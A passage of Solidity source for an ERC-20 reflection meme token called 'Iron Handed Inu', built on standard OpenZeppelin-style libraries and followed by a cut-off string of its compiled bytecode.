* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ether/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ether.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract IronInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) public _rOwned;
mapping (address => uint256) public _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**18;
uint256 public _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Iron Handed Inu';
string private _symbol = 'IRONU';
uint8 private _decimals = 18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
// function totalFees() public view returns (uint256) {
// return _tFeeTotal;
// }
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rRewards, uint256 tTransferAmount, uint256 tBurn,uint256 tRewards) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rRewards, tBurn, tRewards);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rRewards, uint256 tTransferAmount, uint256 tBurn,uint256 tRewards) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rRewards, tBurn, tRewards);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rRewards, uint256 tTransferAmount, uint256 tBurn,uint256 tRewards) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rRewards, tBurn, tRewards);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rRewards, uint256 tTransferAmount, uint256 tBurn,uint256 tRewards) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rRewards, tBurn, tRewards);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rRewards, uint256 tBurn, uint256 tRewards) private {
_rTotal = _rTotal.sub(rRewards);
_tFeeTotal = _tFeeTotal.add(tBurn).add(tRewards);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256) {
uint256[8] memory _localVal;
(_localVal[0]/**tTransferAmount*/, _localVal[1] /**tBurn*/, _localVal[2] /**tRewards*/) = _getTValues(tAmount);
_localVal[3] /**currentRate*/ = _getRate();
( _localVal[4] /**rAmount*/, _localVal[5] /**rTransferAmount*/, _localVal[6] /**rBurn*/, _localVal[7] /**rRewards*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2]);
return (_localVal[4] /**rAmount*/, _localVal[5]/**rTransferAmount*/, _localVal[7]/**rRewards*/, _localVal[0]/**tTransferAmount*/, _localVal[1]/**tBurn*/, _localVal[2]/**tRewards*/);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256) {
uint256 tBurn = tAmount.div(100).mul(1);
uint256 tRewards = tAmount.div(100).mul(1);
uint256 tTransferAmount = tAmount.sub(tRewards).sub(tBurn);
return (tTransferAmount, tBurn, tRewards);
}
function _getRValues(uint256 tAmount, uint256 tBurn, uint256 currentRate, uint256 tRewards) private pure returns (uint256, uint256, uint256,uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rRewards = tRewards.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rBurn).sub(rRewards);
return (rAmount, rTransferAmount, rBurn, rRewards);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806345e0b9d4116100c3578063a9059cbb1161007c578063a9059cbb14610669578063cba0e996146106cd578063dd62ed3e14610727578063f2cc0c181461079f578063f2fde38b146107e3578063f84354f1146108275761014d565b806345e0b9d4146104ce57806370a08231146104ec578063715018a6146105445780638da5cb5b1461054e57806395d89b4114610582578063a457c2d7146106055761014d565b806323b872dd1161011557806323b872dd146102dd5780632d83811914610361578063313ce567146103a357806339509351146103c45780633b7e6d4a146104285780634549b039146104805761014d565b8063053ab1821461015257806306fdde0314610180578063095ea7b3146102035780630cfc15f91461026757806318160ddd146102bf575b600080fd5b61017e6004803603602081101561016857600080fd5b810190808035906020019092919050505061086b565b005b6101886109fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a9e565b60405180821515815260200191505060405180910390f35b6102a96004803603602081101561027d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610abc565b6040518082815260200191505060405180910390f35b6102c7610ad4565b6040518082815260200191505060405180910390f35b610349600480360360608110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aea565b60405180821515815260200191505060405180910390f35b61038d6004803603602081101561037757600080fd5b8101908080359060200190929190505050610bc3565b6040518082815260200191505060405180910390f35b6103ab610c47565b604051808260ff16815260200191505060405180910390f35b610410600480360360408110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c5e565b60405180821515815260200191505060405180910390f35b61046a6004803603602081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d11565b6040518082815260200191505060405180910390f35b6104b86004803603604081101561049657600080fd5b8101908080359060200190929190803515159060200190929190505050610d29565b6040518082815260200191505060405180910390f35b6104d6610dec565b6040518082815260200191505060405180910390f35b61052e6004803603602081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df2565b6040518082815260200191505060405180910390f35b61054c610edd565b005b610556611063565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61058a61108c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ca5780820151818401526020810190506105af565b50505050905090810190601f1680156105f75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106516004803603604081101561061b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061112e565b60405180821515815260200191505060405180910390f35b6106b56004803603604081101561067f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111fb565b60405180821515815260200191505060405180910390f35b61070f600480360360208110156106e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611219565b60405180821515815260200191505060405180910390f35b6107896004803603604081101561073d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126f565b6040518082815260200191505060405180910390f35b6107e1600480360360208110156107b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f6565b005b610825600480360360208110156107f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611610565b005b6108696004803603602081101561083d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061181b565b005b6000610875611ba5565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561091a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806135ea602c913960400191505060405180910390fd5b600061092583611bad565b5050505050905061097e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109d681600654611d4090919063ffffffff16565b6006819055506109f183600754611d8a90919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a945780601f10610a6957610100808354040283529160200191610a94565b820191906000526020600020905b815481529060010190602001808311610a7757829003601f168201915b5050505050905090565b6000610ab2610aab611ba5565b8484611e12565b6001905092915050565b60016020528060005260406000206000915090505481565b60006d314dc6448d9338c15b0a00000000905090565b6000610af7848484612009565b610bb884610b03611ba5565b610bb38560405180606001604052806028815260200161355060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b69611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124629092919063ffffffff16565b611e12565b600190509392505050565b6000600654821115610c20576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806134bd602a913960400191505060405180910390fd5b6000610c2a612522565b9050610c3f818461254d90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610d07610c6b611ba5565b84610d028560036000610c7c611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8a90919063ffffffff16565b611e12565b6001905092915050565b60026020528060005260406000206000915090505481565b60006d314dc6448d9338c15b0a00000000831115610daf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610dcf576000610dbf84611bad565b5050505050905080915050610de6565b6000610dda84611bad565b50505050915050809150505b92915050565b60065481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e8d57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ed8565b610ed5600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc3565b90505b919050565b610ee5611ba5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111245780601f106110f957610100808354040283529160200191611124565b820191906000526020600020905b81548152906001019060200180831161110757829003601f168201915b5050505050905090565b60006111f161113b611ba5565b846111ec856040518060600160405280602581526020016136166025913960036000611165611ba5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124629092919063ffffffff16565b611e12565b6001905092915050565b600061120f611208611ba5565b8484612009565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112fe611ba5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115525761150e600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc3565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611618611ba5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561175e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806134e76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611823611ba5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611ba1578173ffffffffffffffffffffffffffffffffffffffff16600582815481106119d657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fff